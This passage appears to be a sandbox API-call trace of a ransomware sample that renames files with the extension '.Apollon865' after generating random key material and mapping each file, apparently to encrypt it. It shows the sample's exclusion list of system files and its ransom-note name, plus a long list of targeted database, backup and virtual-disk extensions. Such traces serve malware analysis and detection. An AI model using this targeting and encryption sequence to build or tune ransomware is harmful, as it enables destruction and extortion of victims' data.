	[0054.927] lstrcmpiW (lpString1="Kuching", lpString2=".sys") returned 1
	[0054.927] lstrlenW (lpString="Kuching") returned 7
	[0054.927] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Kuwait" | out: lpString1="Kuwait") returned="Kuwait"
	[0054.927] lstrlenW (lpString="Kuwait") returned 6
	[0054.927] lstrlenW (lpString="Apollon865") returned 10
	[0054.927] lstrlenW (lpString=".dll") returned 4
	[0054.927] lstrcmpiW (lpString1="Kuwait", lpString2=".dll") returned 1
	[0054.927] lstrlenW (lpString=".lnk") returned 4
	[0054.928] lstrcmpiW (lpString1="Kuwait", lpString2=".lnk") returned 1
	[0054.928] lstrlenW (lpString=".ini") returned 4
	[0054.928] lstrcmpiW (lpString1="Kuwait", lpString2=".ini") returned 1
	[0054.928] lstrlenW (lpString=".sys") returned 4
	[0054.928] lstrcmpiW (lpString1="Kuwait", lpString2=".sys") returned 1
	[0054.928] lstrlenW (lpString="Kuwait") returned 6
	[0054.928] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Macau" | out: lpString1="Macau") returned="Macau"
	[0054.928] lstrlenW (lpString="Macau") returned 5
	[0054.928] lstrlenW (lpString="Apollon865") returned 10
	[0054.928] lstrlenW (lpString=".dll") returned 4
	[0054.928] lstrcmpiW (lpString1="Macau", lpString2=".dll") returned 1
	[0054.928] lstrlenW (lpString=".lnk") returned 4
	[0054.928] lstrcmpiW (lpString1="Macau", lpString2=".lnk") returned 1
	[0054.928] lstrlenW (lpString=".ini") returned 4
	[0054.928] lstrcmpiW (lpString1="Macau", lpString2=".ini") returned 1
	[0054.928] lstrlenW (lpString=".sys") returned 4
	[0054.928] lstrcmpiW (lpString1="Macau", lpString2=".sys") returned 1
	[0054.929] lstrlenW (lpString="Macau") returned 5
	[0054.929] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Magadan" | out: lpString1="Magadan") returned="Magadan"
	[0054.929] lstrlenW (lpString="Magadan") returned 7
	[0054.929] lstrlenW (lpString="Apollon865") returned 10
	[0054.929] lstrlenW (lpString=".dll") returned 4
	[0054.930] lstrcmpiW (lpString1="Magadan", lpString2=".dll") returned 1
	[0054.930] lstrlenW (lpString=".lnk") returned 4
	[0054.930] lstrcmpiW (lpString1="Magadan", lpString2=".lnk") returned 1
	[0054.930] lstrlenW (lpString=".ini") returned 4
	[0054.930] lstrcmpiW (lpString1="Magadan", lpString2=".ini") returned 1
	[0054.930] lstrlenW (lpString=".sys") returned 4
	[0054.930] lstrcmpiW (lpString1="Magadan", lpString2=".sys") returned 1
	[0054.930] lstrlenW (lpString="Magadan") returned 7
	[0054.930] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Makassar" | out: lpString1="Makassar") returned="Makassar"
	[0054.930] lstrlenW (lpString="Makassar") returned 8
	[0054.930] lstrlenW (lpString="Apollon865") returned 10
	[0054.930] lstrlenW (lpString=".dll") returned 4
	[0054.930] lstrcmpiW (lpString1="Makassar", lpString2=".dll") returned 1
	[0054.930] lstrlenW (lpString=".lnk") returned 4
	[0054.930] lstrcmpiW (lpString1="Makassar", lpString2=".lnk") returned 1
	[0054.930] lstrlenW (lpString=".ini") returned 4
	[0054.930] lstrcmpiW (lpString1="Makassar", lpString2=".ini") returned 1
	[0054.930] lstrlenW (lpString=".sys") returned 4
	[0054.930] lstrcmpiW (lpString1="Makassar", lpString2=".sys") returned 1
	[0054.930] lstrlenW (lpString="Makassar") returned 8
	[0054.930] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Manila" | out: lpString1="Manila") returned="Manila"
	[0054.930] lstrlenW (lpString="Manila") returned 6
	[0054.930] lstrlenW (lpString="Apollon865") returned 10
	[0054.930] lstrlenW (lpString=".dll") returned 4
	[0054.930] lstrcmpiW (lpString1="Manila", lpString2=".dll") returned 1
	[0054.930] lstrlenW (lpString=".lnk") returned 4
	[0054.930] lstrcmpiW (lpString1="Manila", lpString2=".lnk") returned 1
	[0054.930] lstrlenW (lpString=".ini") returned 4
	[0054.930] lstrcmpiW (lpString1="Manila", lpString2=".ini") returned 1
	[0054.930] lstrlenW (lpString=".sys") returned 4
	[0054.930] lstrcmpiW (lpString1="Manila", lpString2=".sys") returned 1
	[0054.931] lstrlenW (lpString="Manila") returned 6
	[0054.931] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Muscat" | out: lpString1="Muscat") returned="Muscat"
	[0054.931] lstrlenW (lpString="Muscat") returned 6
	[0054.931] lstrlenW (lpString="Apollon865") returned 10
	[0054.931] lstrlenW (lpString=".dll") returned 4
	[0054.931] lstrcmpiW (lpString1="Muscat", lpString2=".dll") returned 1
	[0054.931] lstrlenW (lpString=".lnk") returned 4
	[0054.931] lstrcmpiW (lpString1="Muscat", lpString2=".lnk") returned 1
	[0054.931] lstrlenW (lpString=".ini") returned 4
	[0054.931] lstrcmpiW (lpString1="Muscat", lpString2=".ini") returned 1
	[0054.931] lstrlenW (lpString=".sys") returned 4
	[0054.931] lstrcmpiW (lpString1="Muscat", lpString2=".sys") returned 1
	[0054.931] lstrlenW (lpString="Muscat") returned 6
	[0054.931] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat.Apollon865") returned 62
	[0054.931] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\muscat"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\muscat.apollon865"), dwFlags=0x1) returned 1
	[0054.933] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\asia\\muscat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0054.933] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=65) returned 1
	[0054.933] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0054.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0054.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0054.934] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0054.934] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.935] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0054.935] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x15c
	[0054.937] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x120000
	[0054.939] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0054.940] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.940] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0054.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.940] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.940] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.940] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0054.941] CloseHandle (hObject=0x15c) returned 1
	[0054.941] CloseHandle (hObject=0x154) returned 1
	[0054.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0054.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0054.941] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0054.941] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745eda20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745eda20, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745eda20, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Nicosia", cAlternateFileName="")) returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="Apollon865.txt.exe") returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2=".") returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="..") returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="windows") returned -1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="bootmgr") returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="temp") returned -1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="pagefile.sys") returned -1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="boot") returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="ids.txt") returned 1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="ntuser.dat") returned -1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="perflogs") returned -1
	[0054.941] lstrcmpiW (lpString1="Nicosia", lpString2="MSBuild") returned 1
	[0054.941] lstrlenW (lpString="Nicosia") returned 7
	[0054.941] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Asia\\Muscat") returned 51
	[0054.941] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="Nicosia" | out: lpString1="Nicosia") returned="Nicosia"
	[0054.941] lstrlenW (lpString="Nicosia") returned 7
	[0054.942] lstrlenW (lpString="Apollon865") returned 10
	[0054.942] lstrlenW (lpString=".dll") returned 4
	[0054.942] lstrcmpiW (lpString1="Nicosia", lpString2=".dll") returned 1
	[0054.942] lstrlenW (lpString=".lnk") returned 4
	[0054.942] lstrcmpiW (lpString1="Nicosia", lpString2=".lnk") returned 1
	[0054.942] lstrlenW (lpString=".ini") returned 4
	[0054.942] lstrcmpiW (lpString1="Nicosia", lpString2=".ini") returned 1
	[0054.942] lstrlenW (lpString=".sys") returned 4
	[0054.942] lstrcmpiW (lpString1="Nicosia", lpString2=".sys") returned 1
	[0054.942] lstrlenW (lpString="Nicosia") returned 7
	[0054.942] lstrlenW (lpString="bak") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="bak") returned 1
	[0054.942] lstrlenW (lpString="ba_") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="ba_") returned 1
	[0054.942] lstrlenW (lpString="dbb") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="dbb") returned 1
	[0054.942] lstrlenW (lpString="vmdk") returned 4
	[0054.942] lstrcmpiW (lpString1="osia", lpString2="vmdk") returned -1
	[0054.942] lstrlenW (lpString="rar") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="rar") returned 1
	[0054.942] lstrlenW (lpString="zip") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="zip") returned -1
	[0054.942] lstrlenW (lpString="tgz") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="tgz") returned -1
	[0054.942] lstrlenW (lpString="vbox") returned 4
	[0054.942] lstrcmpiW (lpString1="osia", lpString2="vbox") returned -1
	[0054.942] lstrlenW (lpString="vdi") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="vdi") returned -1
	[0054.942] lstrlenW (lpString="vhd") returned 3
	[0054.942] lstrcmpiW (lpString1="sia", lpString2="vhd") returned -1
	[0054.942] lstrlenW (lpString="vhdx") returned 4
	[0054.942] lstrcmpiW (lpString1="osia", lpString2="vhdx") returned -1
	[0054.942] lstrlenW (lpString="avhd") returned 4
	[0054.942] lstrcmpiW (lpString1="osia", lpString2="avhd") returned 1
	[0054.943] lstrlenW (lpString="db") returned 2
	[0054.943] lstrcmpiW (lpString1="ia", lpString2="db") returned 1
	[0054.943] lstrlenW (lpString="db2") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="db2") returned 1
	[0054.943] lstrlenW (lpString="db3") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="db3") returned 1
	[0054.943] lstrlenW (lpString="dbf") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="dbf") returned 1
	[0054.943] lstrlenW (lpString="mdf") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="mdf") returned 1
	[0054.943] lstrlenW (lpString="mdb") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="mdb") returned 1
	[0054.943] lstrlenW (lpString="sql") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="sql") returned -1
	[0054.943] lstrlenW (lpString="sqlite") returned 6
	[0054.943] lstrcmpiW (lpString1="icosia", lpString2="sqlite") returned -1
	[0054.943] lstrlenW (lpString="sqlite3") returned 7
	[0054.943] lstrlenW (lpString="sqlitedb") returned 8
	[0054.943] lstrlenW (lpString="xml") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="xml") returned -1
	[0054.943] lstrlenW (lpString="$er") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="$er") returned 1
	[0054.943] lstrlenW (lpString="4dd") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="4dd") returned 1
	[0054.943] lstrlenW (lpString="4dl") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="4dl") returned 1
	[0054.943] lstrlenW (lpString="^^^") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="^^^") returned 1
	[0054.943] lstrlenW (lpString="abs") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="abs") returned 1
	[0054.943] lstrlenW (lpString="abx") returned 3
	[0054.943] lstrcmpiW (lpString1="sia", lpString2="abx") returned 1
	[0054.943] lstrlenW (lpString="accdb") returned 5
	[0054.943] lstrcmpiW (lpString1="cosia", lpString2="accdb") returned 1
	[0054.943] lstrlenW (lpString="accdc") returned 5
	[0054.944] lstrcmpiW (lpString1="cosia", lpString2="accdc") returned 1
	[0054.944] lstrlenW (lpString="accde") returned 5
	[0054.944] lstrcmpiW (lpString1="cosia", lpString2="accde") returned 1
	[0054.944] lstrlenW (lpString="accdr") returned 5
	[0054.944] lstrcmpiW (lpString1="cosia", lpString2="accdr") returned 1
	[0054.944] lstrlenW (lpString="accdt") returned 5
	[0054.944] lstrcmpiW (lpString1="cosia", lpString2="accdt") returned 1
	[0054.944] lstrlenW (lpString="accdw") returned 5
	[0054.944] lstrcmpiW (lpString1="cosia", lpString2="accdw") returned 1
	[0054.944] lstrlenW (lpString="accft") returned 5
	[0054.944] lstrcmpiW (lpString1="cosia", lpString2="accft") returned 1
	[0054.944] lstrlenW (lpString="adb") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="adb") returned 1
	[0054.944] lstrlenW (lpString="adb") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="adb") returned 1
	[0054.944] lstrlenW (lpString="ade") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="ade") returned 1
	[0054.944] lstrlenW (lpString="adf") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="adf") returned 1
	[0054.944] lstrlenW (lpString="adn") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="adn") returned 1
	[0054.944] lstrlenW (lpString="adp") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="adp") returned 1
	[0054.944] lstrlenW (lpString="alf") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="alf") returned 1
	[0054.944] lstrlenW (lpString="ask") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="ask") returned 1
	[0054.944] lstrlenW (lpString="btr") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="btr") returned 1
	[0054.944] lstrlenW (lpString="cat") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="cat") returned 1
	[0054.944] lstrlenW (lpString="cdb") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="cdb") returned 1
	[0054.944] lstrlenW (lpString="ckp") returned 3
	[0054.944] lstrcmpiW (lpString1="sia", lpString2="ckp") returned 1
	[0054.945] lstrlenW (lpString="cma") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="cma") returned 1
	[0054.945] lstrlenW (lpString="cpd") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="cpd") returned 1
	[0054.945] lstrlenW (lpString="dacpac") returned 6
	[0054.945] lstrcmpiW (lpString1="icosia", lpString2="dacpac") returned 1
	[0054.945] lstrlenW (lpString="dad") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dad") returned 1
	[0054.945] lstrlenW (lpString="dadiagrams") returned 10
	[0054.945] lstrlenW (lpString="daschema") returned 8
	[0054.945] lstrlenW (lpString="db-journal") returned 10
	[0054.945] lstrlenW (lpString="db-shm") returned 6
	[0054.945] lstrcmpiW (lpString1="icosia", lpString2="db-shm") returned 1
	[0054.945] lstrlenW (lpString="db-wal") returned 6
	[0054.945] lstrcmpiW (lpString1="icosia", lpString2="db-wal") returned 1
	[0054.945] lstrlenW (lpString="dbc") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dbc") returned 1
	[0054.945] lstrlenW (lpString="dbs") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dbs") returned 1
	[0054.945] lstrlenW (lpString="dbt") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dbt") returned 1
	[0054.945] lstrlenW (lpString="dbv") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dbv") returned 1
	[0054.945] lstrlenW (lpString="dbx") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dbx") returned 1
	[0054.945] lstrlenW (lpString="dcb") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dcb") returned 1
	[0054.945] lstrlenW (lpString="dct") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dct") returned 1
	[0054.945] lstrlenW (lpString="dcx") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="dcx") returned 1
	[0054.945] lstrlenW (lpString="ddl") returned 3
	[0054.945] lstrcmpiW (lpString1="sia", lpString2="ddl") returned 1
	[0054.945] lstrlenW (lpString="dlis") returned 4
	[0054.946] lstrcmpiW (lpString1="osia", lpString2="dlis") returned 1
	[0054.946] lstrlenW (lpString="dp1") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="dp1") returned 1
	[0054.946] lstrlenW (lpString="dqy") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="dqy") returned 1
	[0054.946] lstrlenW (lpString="dsk") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="dsk") returned 1
	[0054.946] lstrlenW (lpString="dsn") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="dsn") returned 1
	[0054.946] lstrlenW (lpString="dtsx") returned 4
	[0054.946] lstrcmpiW (lpString1="osia", lpString2="dtsx") returned 1
	[0054.946] lstrlenW (lpString="dxl") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="dxl") returned 1
	[0054.946] lstrlenW (lpString="eco") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="eco") returned 1
	[0054.946] lstrlenW (lpString="ecx") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="ecx") returned 1
	[0054.946] lstrlenW (lpString="edb") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="edb") returned 1
	[0054.946] lstrlenW (lpString="epim") returned 4
	[0054.946] lstrcmpiW (lpString1="osia", lpString2="epim") returned 1
	[0054.946] lstrlenW (lpString="fcd") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="fcd") returned 1
	[0054.946] lstrlenW (lpString="fdb") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="fdb") returned 1
	[0054.946] lstrlenW (lpString="fic") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="fic") returned 1
	[0054.946] lstrlenW (lpString="flexolibrary") returned 12
	[0054.946] lstrlenW (lpString="fm5") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="fm5") returned 1
	[0054.946] lstrlenW (lpString="fmp") returned 3
	[0054.946] lstrcmpiW (lpString1="sia", lpString2="fmp") returned 1
	[0054.946] lstrlenW (lpString="fmp12") returned 5
	[0054.946] lstrcmpiW (lpString1="cosia", lpString2="fmp12") returned -1
	[0054.947] lstrlenW (lpString="fmpsl") returned 5
	[0054.947] lstrcmpiW (lpString1="cosia", lpString2="fmpsl") returned -1
	[0054.947] lstrlenW (lpString="fol") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="fol") returned 1
	[0054.947] lstrlenW (lpString="fp3") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="fp3") returned 1
	[0054.947] lstrlenW (lpString="fp4") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="fp4") returned 1
	[0054.947] lstrlenW (lpString="fp5") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="fp5") returned 1
	[0054.947] lstrlenW (lpString="fp7") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="fp7") returned 1
	[0054.947] lstrlenW (lpString="fpt") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="fpt") returned 1
	[0054.947] lstrlenW (lpString="frm") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="frm") returned 1
	[0054.947] lstrlenW (lpString="gdb") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="gdb") returned 1
	[0054.947] lstrlenW (lpString="gdb") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="gdb") returned 1
	[0054.947] lstrlenW (lpString="grdb") returned 4
	[0054.947] lstrcmpiW (lpString1="osia", lpString2="grdb") returned 1
	[0054.947] lstrlenW (lpString="gwi") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="gwi") returned 1
	[0054.947] lstrlenW (lpString="hdb") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="hdb") returned 1
	[0054.947] lstrlenW (lpString="his") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="his") returned 1
	[0054.947] lstrlenW (lpString="ib") returned 2
	[0054.947] lstrcmpiW (lpString1="ia", lpString2="ib") returned -1
	[0054.947] lstrlenW (lpString="idb") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="idb") returned 1
	[0054.947] lstrlenW (lpString="ihx") returned 3
	[0054.947] lstrcmpiW (lpString1="sia", lpString2="ihx") returned 1
	[0054.947] lstrlenW (lpString="itdb") returned 4
	[0054.948] lstrcmpiW (lpString1="osia", lpString2="itdb") returned 1
	[0054.948] lstrlenW (lpString="itw") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="itw") returned 1
	[0054.948] lstrlenW (lpString="jet") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="jet") returned 1
	[0054.948] lstrlenW (lpString="jtx") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="jtx") returned 1
	[0054.948] lstrlenW (lpString="kdb") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="kdb") returned 1
	[0054.948] lstrlenW (lpString="kexi") returned 4
	[0054.948] lstrcmpiW (lpString1="osia", lpString2="kexi") returned 1
	[0054.948] lstrlenW (lpString="kexic") returned 5
	[0054.948] lstrcmpiW (lpString1="cosia", lpString2="kexic") returned -1
	[0054.948] lstrlenW (lpString="kexis") returned 5
	[0054.948] lstrcmpiW (lpString1="cosia", lpString2="kexis") returned -1
	[0054.948] lstrlenW (lpString="lgc") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="lgc") returned 1
	[0054.948] lstrlenW (lpString="lwx") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="lwx") returned 1
	[0054.948] lstrlenW (lpString="maf") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="maf") returned 1
	[0054.948] lstrlenW (lpString="maq") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="maq") returned 1
	[0054.948] lstrlenW (lpString="mar") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="mar") returned 1
	[0054.948] lstrlenW (lpString="marshal") returned 7
	[0054.948] lstrlenW (lpString="mas") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="mas") returned 1
	[0054.948] lstrlenW (lpString="mav") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="mav") returned 1
	[0054.948] lstrlenW (lpString="maw") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="maw") returned 1
	[0054.948] lstrlenW (lpString="mdbhtml") returned 7
	[0054.948] lstrlenW (lpString="mdn") returned 3
	[0054.948] lstrcmpiW (lpString1="sia", lpString2="mdn") returned 1
	[0054.949] lstrlenW (lpString="mdt") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="mdt") returned 1
	[0054.949] lstrlenW (lpString="mfd") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="mfd") returned 1
	[0054.949] lstrlenW (lpString="mpd") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="mpd") returned 1
	[0054.949] lstrlenW (lpString="mrg") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="mrg") returned 1
	[0054.949] lstrlenW (lpString="mud") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="mud") returned 1
	[0054.949] lstrlenW (lpString="mwb") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="mwb") returned 1
	[0054.949] lstrlenW (lpString="myd") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="myd") returned 1
	[0054.949] lstrlenW (lpString="ndf") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="ndf") returned 1
	[0054.949] lstrlenW (lpString="nnt") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="nnt") returned 1
	[0054.949] lstrlenW (lpString="nrmlib") returned 6
	[0054.949] lstrcmpiW (lpString1="icosia", lpString2="nrmlib") returned -1
	[0054.949] lstrlenW (lpString="ns2") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="ns2") returned 1
	[0054.949] lstrlenW (lpString="ns3") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="ns3") returned 1
	[0054.949] lstrlenW (lpString="ns4") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="ns4") returned 1
	[0054.949] lstrlenW (lpString="nsf") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="nsf") returned 1
	[0054.949] lstrlenW (lpString="nv") returned 2
	[0054.949] lstrcmpiW (lpString1="ia", lpString2="nv") returned -1
	[0054.949] lstrlenW (lpString="nv2") returned 3
	[0054.949] lstrcmpiW (lpString1="sia", lpString2="nv2") returned 1
	[0054.949] lstrlenW (lpString="nwdb") returned 4
	[0054.950] lstrcmpiW (lpString1="osia", lpString2="nwdb") returned 1
	[0054.950] lstrlenW (lpString="nyf") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="nyf") returned 1
	[0054.950] lstrlenW (lpString="odb") returned 3
	[0054.950] lstrcmpiW (lpString1="sia", lpString2="odb") returned 1
